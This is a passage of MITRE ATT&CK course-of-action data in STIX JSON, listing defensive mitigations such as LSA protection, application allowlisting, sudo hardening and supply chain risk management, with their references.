            "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1101",
                    "external_id": "T1101"
                },
                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
                }
            ],
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                    "url": "https://attack.mitre.org/mitigations/T1035",
                    "source_name": "mitre-attack"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "name": "Service Execution Mitigation",
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            "id": "course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64",
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            "name": "Service Registry Permissions Weakness Mitigation",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
            "external_references": [
                {
                    "external_id": "T1058",
                    "url": "https://attack.mitre.org/mitigations/T1058",
                    "source_name": "mitre-attack"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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            ],
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            "name": "Setuid and Setgid Mitigation",
            "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.",
            "external_references": [
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                    "url": "https://attack.mitre.org/mitigations/T1166",
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            "name": "Shared Webroot Mitigation",
            "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)",
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                    "url": "https://attack.mitre.org/mitigations/T1051",
                    "external_id": "T1051"
                },
                {
                    "url": "https://www.acunetix.com/websitesecurity/webserver-security/",
                    "description": "Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.",
                    "source_name": "acunetix Server Secuirty"
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                {
                    "url": "https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf",
                    "description": "Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.",
                    "source_name": "NIST Server Security July 2008"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Shortcut Modification Mitigation",
            "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1023",
                    "url": "https://attack.mitre.org/mitigations/T1023",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "UCF STIG Symbolic Links",
                    "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.",
                    "url": "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2020-01-17T16:45:23.907Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Signed Script Proxy Execution Mitigation",
            "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1216",
                    "external_id": "T1216"
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            "modified": "2019-07-25T11:45:01.486Z",
            "created": "2018-10-17T00:14:20.652Z",
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                    "source_name": "mitre-attack",
                    "external_id": "M1054",
                    "url": "https://attack.mitre.org/mitigations/M1054"
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            "name": "Software Configuration",
            "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.",
            "id": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
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            "modified": "2020-03-31T13:11:09.471Z",
            "created": "2019-07-19T14:40:23.529Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Software Packing Mitigation",
            "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1045",
                    "url": "https://attack.mitre.org/mitigations/T1045",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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            "type": "course-of-action",
            "modified": "2020-01-17T16:45:24.233Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Source Mitigation",
            "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1153",
                    "external_id": "T1153"
                }
            ],
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            "type": "course-of-action",
            "modified": "2019-07-25T11:45:45.651Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Space after Filename Mitigation",
            "description": "Prevent files from having a trailing space after the extension.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1151",
                    "external_id": "T1151"
                }
            ],
            "object_marking_refs": [
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            "modified": "2019-07-25T11:46:32.010Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Spearphishing Attachment Mitigation",
            "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1193",
                    "external_id": "T1193"
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            ],
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            "type": "course-of-action",
            "modified": "2019-07-25T11:50:34.690Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "id": "course-of-action--ad7f983d-d5a8-4fce-a38c-b68eda61bf4e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Spearphishing Link Mitigation",
            "description": "Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1192",
                    "external_id": "T1192"
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            ],
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            "type": "course-of-action",
            "modified": "2019-07-25T11:59:46.032Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "id": "course-of-action--c861bcb1-946f-450d-ab75-d4e3c1103a56",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Spearphishing via Service Mitigation",
            "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1194",
                    "external_id": "T1194"
                }
            ],
            "object_marking_refs": [
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            "type": "course-of-action",
            "modified": "2019-07-25T12:00:12.285Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_deprecated": true,
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            "id": "course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Standard Cryptographic Protocol Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1032",
                    "external_id": "T1032"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "type": "course-of-action",
            "modified": "2019-07-25T12:01:13.198Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "id": "course-of-action--399d9038-b100-43ef-b28d-a5065106b935",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Standard Non-Application Layer Protocol Mitigation",
            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1095",
                    "external_id": "T1095"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "type": "course-of-action",
            "modified": "2019-07-25T12:01:33.997Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Startup Items Mitigation",
            "description": "Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can\u2019t be leveraged for privilege escalation.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1165",
                    "external_id": "T1165"
                }
            ],
            "object_marking_refs": [
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            "type": "course-of-action",
            "modified": "2019-07-25T12:01:55.766Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
                {
                    "external_id": "T1492",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1492"
                },
                {
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT",
                    "source_name": "Ready.gov IT DRP"
                }
            ],
            "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.",
            "name": "Stored Data Manipulation Mitigation",
            "id": "course-of-action--e9362d25-4427-446b-99e8-b8f0c3b86615",
            "type": "course-of-action",
            "modified": "2019-07-25T12:02:27.102Z",
            "created": "2019-04-24T17:02:25.107Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Sudo Caching Mitigation",
            "description": "Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password every time <code>sudo</code> is executed. Similarly, ensuring that the <code>tty_tickets</code> setting is enabled will prevent this leakage across tty sessions.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1206",
                    "external_id": "T1206"
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            ],
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            "type": "course-of-action",
            "modified": "2019-07-25T12:02:48.931Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Sudo Mitigation",
            "description": "The sudoers file should be strictly edited such that passwords are always required and that users can\u2019t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1169",
                    "external_id": "T1169"
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            ],
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            "type": "course-of-action",
            "modified": "2019-07-25T12:03:12.876Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Supply Chain Compromise Mitigation",
            "description": "Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.\n\nLeverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): \n\n* Uniquely Identify Supply Chain Elements, Processes, and Actors\n* Limit Access and Exposure within the Supply Chain\n* Establish and Maintain the Provenance of Elements, Processes, Tools, and Data\n* Share Information within Strict Limits\n* Perform SCRM Awareness and Training\n* Use Defensive Design for Systems, Elements, and Processes\n* Perform Continuous Integrator Review\n* Strengthen Delivery Mechanisms\n* Assure Sustainment Activities and Processes\n* Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle\n\nA patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1195",
                    "external_id": "T1195"
                },
                {
                    "source_name": "MITRE SE Guide 2014",
                    "description": "The MITRE Corporation. (2014). MITRE Systems Engineering Guide. Retrieved April 6, 2018.",
                    "url": "https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf"
                },
                {
                    "source_name": "NIST Supply Chain 2012",
                    "description": "Boyens, J,. Et al.. (2002, October). Notional Supply Chain Risk Management Practices for Federal Information Systems. Retrieved April 6, 2018.",
                    "url": "http://dx.doi.org/10.6028/NIST.IR.7622"
                },
                {
                    "description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.",
                    "url": "https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/",
                    "source_name": "OWASP Top 10 2017"
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                {
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                    "url": "https://attack.mitre.org/mitigations/T1019",
                    "external_id": "T1019"
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                    "source_name": "TCG Trusted Platform Module",
                    "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.",
                    "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf"
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            ],
            "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)",
            "name": "System Firmware Mitigation",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "course-of-action--25e53928-6f33-49b7-baee-8180578286f6",
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "TechNet Applocker vs SRP",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "Beechey 2010",
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "name": "System Service Discovery Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1007",
                    "source_name": "mitre-attack"
                },
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                }
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            "modified": "2020-01-17T16:45:23.699Z",
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                },
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
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                    "source_name": "TechNet Applocker vs SRP",
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            ],
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            "id": "course-of-action--83130e62-bca6-4a81-bd4b-8e233bd49db6",
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                    "external_id": "T1080"
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                },
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
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                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
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                    "source_name": "TechNet Applocker vs SRP"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Template Injection Mitigation",
            "description": "Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1221",
                    "external_id": "T1221"
                },
                {
                    "url": "https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6",
                    "description": "Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.",
                    "source_name": "Microsoft Disable Macros"
                },
                {
                    "source_name": "Anomali Template Injection MAR 2018",
                    "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
                    "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104"
                }
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            "type": "course-of-action",
            "modified": "2019-07-25T12:27:19.577Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "description": "Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.\n\nGrant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nEnsure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.\n\nWhere the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely 